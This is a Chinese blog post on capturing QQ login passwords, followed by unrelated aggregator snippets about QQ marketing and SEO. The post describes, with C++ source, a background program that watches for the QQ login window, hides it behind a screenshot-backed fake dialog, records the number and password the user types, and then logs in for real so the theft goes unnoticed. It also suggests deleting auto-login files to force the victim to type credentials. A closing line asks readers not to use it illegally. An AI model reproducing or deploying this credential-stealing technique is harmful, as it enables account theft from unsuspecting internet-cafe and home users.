也谈QQ安全

近日无所事事,看到现在的QQ防盗技术越来越好,一般的钩子已经无法获取用户输入的密码了,我也试图用发送WM_GETTEXT消息以及GetWindowText来获取密码文本框的数据,发现是不可行的。左思右想,既然程序本身的防范很 严密。那么我们就从用户这边来下手吧。毕竟很多用户对电脑不是很了解的^_^,各位看官可不能扔丑鸡蛋啊。

网吧里一般用户点击QQ快捷方式后就输入号码和密码,然后再登陆,这样我们就可以进行欺骗了。我们的程序运行在后台不停的检测当前激活的窗口是不是QQ登录的窗口,如果是的话就先取得QQ登录窗口中的号码、密码文本框和登陆按钮的窗口位置。这样是为了在我们伪造的窗口上创建这些窗口时不被察觉^_^,获得这些信息后,我们先截取整个屏幕,然后把真正的QQ登录窗口隐藏起来,最后创建我们自己的窗口,设置为最前占满整个桌面,然后再背景上贴上刚才抓取的图片。最后在图片QQ登陆的地方创建好QQ号码和密码输入窗口,在检测到用户单击在QQ登陆按钮时获取用户输入的字符,把这些字符发送到真正的QQ窗口里,最后模拟单击QQ登陆按钮完成QQ的正常登陆。

然而家庭用户一般是选了自动登陆的方式,所以没有QQ登录的窗口,那我们就要动一些手脚了。了解QQ的地球人都知道^_^,QQ文件夹下有这两个文件:AutoLogin.dat和LoginUinList.dat,它们的功能:这两个文件是QQ的号码登录数据文件,AutoLogin.dat 保存的是自动登录号码的数据文件,LoginUinList.dat则保存的是QQ登录窗口中的“QQ号码”下拉框中显示的所有号码记录。所以我们要删除QQ登录数据,直接删除AutoLogin.dat和LoginUinList.dat两个文件就行了。主要代码分析如下:

//根据进程ID得到进程名称
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID)
{
   HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
   PROCESSENTRY32 pe;
   pe.dwSize = sizeof(PROCESSENTRY32);
   if (!Process32First(hSnapshot, &pe)) {
     return FALSE;
   }
   while (Process32Next(hSnapshot, &pe)) {
     if (pe.th32ProcessID == PID) {
       strcpy(lpszProcessName, pe.szExeFile);
       return true;
     }
   }
   return FALSE;
}

//查找QQ登录窗口
void QQFind()
{
   HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL;
   HWND ButtonLogin = NULL, ButtonCancel = NULL;
   char sTitle[255];
   CString ss;
   DWORD QQPID;
   int LoginID;
   BOOL find = FALSE;
   do
   {  
     //获得当前激活窗口的句柄
     g_hWnd = GetForegroundWindow();
     GetWindowThreadProcessId(g_hWnd, &QQPID);
     //根据PID获得进程名
     processIdToName(sTitle, QQPID);
     ss = sTitle;
     ss.MakeLower();
     //判断是否QQ
     if(ss != "qq.exe")
     {
       Sleep(100);
       continue;
     }

     //获得标题文字,判断是否登陆对话框
     SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle);
     ss = sTitle;
     int n = ss.Find("QQ", 0);
     int m = ss.Find("登录", 0);
     if(n >= 0 || m >= 0)
     {
       //查找QQ登陆按钮的句柄
       ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");
       LoginID = GetDlgCtrlID(ButtonLogin);
       ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");
       LoginID = GetDlgCtrlID(ButtonLogin);
       //获得QQ登陆按钮窗口位置
       GetWindowRect(ButtonLogin, &g_qqLogin);
       //查找QQ取消按钮的句柄
       ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消");
       //获得QQ取消按钮窗口位置
       GetWindowRect(ButtonCancel, &g_qqCancel);
       //查找QQ密码输入框的句柄
       hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);
       if(hWnd1 != NULL)
       {
         qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL);
         //获得QQ密码输入框窗口位置
         GetWindowRect(qqPass_hWnd, &g_qqPassRt);
       }

       //查找QQ号码输入框的句柄
       hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL);
       if(hWnd1 != NULL)
       {
         qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL);
         //获得QQ号码输入框窗口位置
         GetWindowRect(qqID_hWnd, &g_qqIDRt);
         //获得当前默认QQ号码
         SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid);
       }

       //等待QQ窗口完全出现后抓取整个屏幕
       Sleep(100);
       g_DlgRt.left = 0;
       g_DlgRt.top = 0;
       g_DlgRt.right = m_xScreen;
       g_DlgRt.bottom = m_yScreen;
       g_pBitmap = CopyScreenToBitmap(&g_DlgRt);

       //设置QQ窗口为不可见
       ShowWindow(g_hWnd, SW_HIDE);

       //弹出我们创建的伪造对话框
       HINSTANCE hInstance = GetModuleHandle(NULL);
       DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0);

       //设置QQ窗口为可见
       ShowWindow(g_hWnd, SW_SHOW);
       //把QQ号码和密码填到真正的QQ登录窗口上,并模拟单击登陆按钮
       SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid);
       SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass);
       SendMessage(ButtonLogin, BM_CLICK, 0, 0);
       DeleteObject(g_pBitmap);
       //设置标志退出循环
       find = true;
     }

   }
   while(find == FALSE);
}

截图如下:


图一 伪装的登陆界面

好了,说到这儿也差不多啦,见笑见笑了^_^,最后奉劝一句,请勿用于非法。有什么问题或您有更好的建意请不要忘了和我联系哦,邮箱: win847@163.com

本文配套源码

时间: 2024-12-09 12:08:34

也谈QQ安全的相关文章

浅谈QQ空间盈利

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断 淘宝客 云主机 技术大厅 我只是一个业余的SEOer,没有什么太专业知识的SEOer,所以,只能在不断探索中成长.最近有一直弄自己的博客,SEO效果非常不好,索性就在QQ空间里推广了,说实话,QQ空间是个不错的推广平台,能带来实际IP的平台. 本文,拿知名的冷笑话认证空间"冷兔"为例,浅略的谈一下QQ空间的盈利. 首先,我们来看一下冷兔空间的粉丝.

浅谈QQ空间日志做推广的一些特点

中介交易 SEO诊断 淘宝客 云主机 技术大厅 QQ是现在使用人数最多的一种沟通方式,与QQ相关的一系列平台,如QQ群.QQ微博.QQ邮件.QQ漂流瓶和QQ空间等都是营销推广的肥沃土地,在这么多平台中,人们往往忽视QQ空间的营销价值.我个人认为只要好好去挖掘和利用,QQ空间的营销推广效果还是很好的,特别是品牌的推广,通过QQ空间可以带来一些品牌效应. QQ空间里面日志是具备转载功能的,这就给我们的推广营销带来了利用机会,一篇带有推广信息的日志被一传十,十传百的传播,推广效果肯定不错.QQ日志的转

略谈QQ类站点运营心得

中介交易 SEO诊断 淘宝客 云主机 技术大厅 在众多的小站长运营的站点中有一类比较特殊,那就是QQ类站点,利用QQ空间.QQ头像等关键词做的小站,有的提供是QQ空间皮肤下载,有的提供的是QQ头像制作下载等.这个类型的站点在互联网上有很多,记得以前有个教人制作QQ空间的站点做的很好,笔者前段时间也做了个关于QQ空间说说的小站.就是收集整理了许多搞笑.个性的QQ说说,根据这些内容做了一个站点,如今已经几个月的时间了,这段时间笔者也在思考如何才能把这个站点做的更好,毕竟这样的小站内容毕竟单一,为用户

谈QQ类网站被K到重新收录的方法

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断 淘宝客 云主机 技术大厅 如何去把握百度搜索引擎的K站制度,如何去挽救被百度K掉后的站点?这个问题让很多站长很头疼,以下是我一个做QQ类网站朋友跟我说的他的站被K到重新收录的过程,我把他说的几点认真整理了一下,希望对大家有所帮助. 网站被K前的网站运营操作:网站的策划和建设这里就不说了,现在只谈网站建成后的情况.首先站长增加了网站的外链(论坛发贴,博客链接,书签等等)

站长切身感受 浅谈QQ群进行网站推广

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断 淘宝客 云主机 技术大厅 关注A5已经有一段日子了,看着论坛里高手层出,好文不断,实是羡慕啊.一直想试着写写软文,总结下自己推广的过程和感受,和站长朋友们共同讨论与分享,一起成长.今天就随便说说吧. QQ群推广,基本是不用花费什么金钱,需要的就是时间成本,当然了,时间也就是金钱.完全没有成本的推广基本是没有滴.比起一些论坛发帖回帖.博客推广,基本QQ群推广的效果算是很

浅谈QQ群营销怎么运作最有效

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断 淘宝客 云主机 技术大厅 QQ群已经成为目前作网络营销的必修课. 而我目前也担任了数个QQ群的管理员.平时看那些进来发广告的同志,真是又可爱又可恨.我一般不太T广告的,谁都知道作营销的都不容易.可有些广告很是让人讨厌. 下面我就谈几种让人讨厌的广告形式,让大家引以为戒: 进来就直接发广告,招呼都不打一下的.刚刚验证就是广告,好像来的目的目的不是为了交流,而是为了广告.

浅谈QQ站建站推广步骤

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断 淘宝客 云主机 技术大厅 首先,笔者也是QQ站站长中的一名.介绍一下一个QQ站如何从0IP开始的. 选择一个好记且有实际用途的域名,域名中带qq的域名是一大部分人的首选.选择一个好的服务器,对于大多新手站长无太多资金来投入,只能选择使用虚拟主机,但虚拟主机呀必须保持时时能访问,速度快速等,一个经常不能访问或打开速度比蜗牛爬行速度都慢的,蜘蛛和访客是不会喜欢的. QQ站

也谈QQ表情弹出框的制作

会飞的鱼前段时间写了篇文章,介绍如何实现类似QQ表情对话框的功能,具 体描述见文章<c# 类似于QQ表情弹出框功能的二种实现方法>.刚好最近我也 有类似的需求,我刚开始的想法是在Panel中动态创建PictureBox来加载QQ表情 ,如: private void InitImageControl(int colCount, int rowCount) { for (int i = 0; i < rowCount; i++) { for (int j = 0; j < colCo

腾讯UI设计师:谈一谈QQ阅读的版本升级历程

作为QQ阅读的UI设计师之一,伴随着QQ阅读一个版本接着一个版本的修改优化.优化修改,觉得是时候可以沉淀下来写些东西了. 项目背景: QQ阅读几乎覆盖了市面上所有的主流平台,并且已经逐步的得到用户的认可.随着产品的发展,它已经从一个简单的阅读软件提升成为具有社交化功能的产品.用户不但可以享受到舒适的阅读体验,而且海量的图书,便捷的好友交流都将成为我们未来努力的方向.随着产品的发展,以及产品定位的进一步深入,这样一个注重用户体验;不断向高端平台发展的产品,需要以一个崭新的形象来帮助产品进一步提升.